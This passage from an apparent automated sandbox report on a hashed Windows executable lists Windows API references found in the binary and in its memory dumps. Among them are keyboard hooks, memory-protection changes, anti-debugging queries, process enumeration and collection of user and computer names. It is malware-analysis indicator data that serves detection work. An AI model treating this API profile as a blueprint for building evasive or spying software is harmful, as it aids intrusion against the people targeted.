"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "UnhookWindowsHookEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "TranslateMessage"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "TranslateMDISysAccel"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SystemParametersInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ShowWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ShowScrollBar"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ShowOwnedPopups"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ShowCursor"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetWindowsHookExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetWindowPos"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetWindowPlacement"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetTimer"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetScrollRange"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetScrollPos"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetScrollInfo"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetPropA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetParent"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetMenuItemInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetFocus"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetCursor"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetClassLongA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetCapture"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetActiveWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SendMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ScrollWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ScreenToClient"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RemovePropA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RemoveMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ReleaseDC"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ReleaseCapture"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RegisterWindowMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RegisterClipboardFormatA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RegisterClassA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RedrawWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "PtInRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "PostThreadMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "PostMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "PeekMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "OffsetRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "OemToCharA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "MapWindowPoints"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "MapVirtualKeyA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadKeyboardLayoutA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadIconA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadCursorA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadBitmapA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "KillTimer"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsZoomed"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsRectEmpty"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsIconic"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsDialogMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IsChild"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InvalidateRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "IntersectRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InsertMenuItemA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InsertMenuA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InflateRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindowTextA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindowRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindowPlacement"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindowDC"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetTopWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetSystemMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetSysColorBrush"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetSysColor"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetSubMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetScrollRange"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetScrollPos"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetScrollInfo"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetPropA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetParent"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetMenuStringA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetMenuState"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetMenuItemInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetMenuItemID"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetMenuItemCount"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetLastActivePopup"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetKeyboardState"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetKeyboardLayoutList"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetKeyboardLayout"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetKeyState"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetKeyNameTextA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetIconInfo"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetFocus"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDCEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDC"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCursorPos"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCursor"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetClientRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetClassNameA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetClassInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCapture"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FrameRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FindWindowA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FillRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EqualRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnumWindows"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnumThreadWindows"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnableWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnableScrollBar"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnableMenuItem"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawTextA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawMenuBar"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawIconEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawIcon"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawFrameControl"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawFocusRect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DrawEdge"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DestroyWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DestroyMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DestroyIcon"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DestroyCursor"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DeleteMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DefWindowProcA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DefMDIChildProcA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DefFrameProcA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateMenu"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateIcon"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ClientToScreen"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CheckMenuItem"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CallNextHookEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "BeginPaint"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CharLowerA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CharUpperBuffA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CharToOemA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "AdjustWindowRectEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ActivateKeyboardLayout"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayPtrOfIndex"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayPutElement"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayGetElement"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayUnaccessData"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayAccessData"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayGetUBound"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayGetLBound"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SafeArrayCreate"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VariantChangeType"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VariantCopyInd"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VariantCopy"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VariantClear"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VariantInit"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CoUninitialize"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CoInitialize"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetErrorInfo"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000001.69491.04F90000.00000040.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "OpenEventA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultLangID"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocExNuma"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CreateDCA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "Process32Next"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API 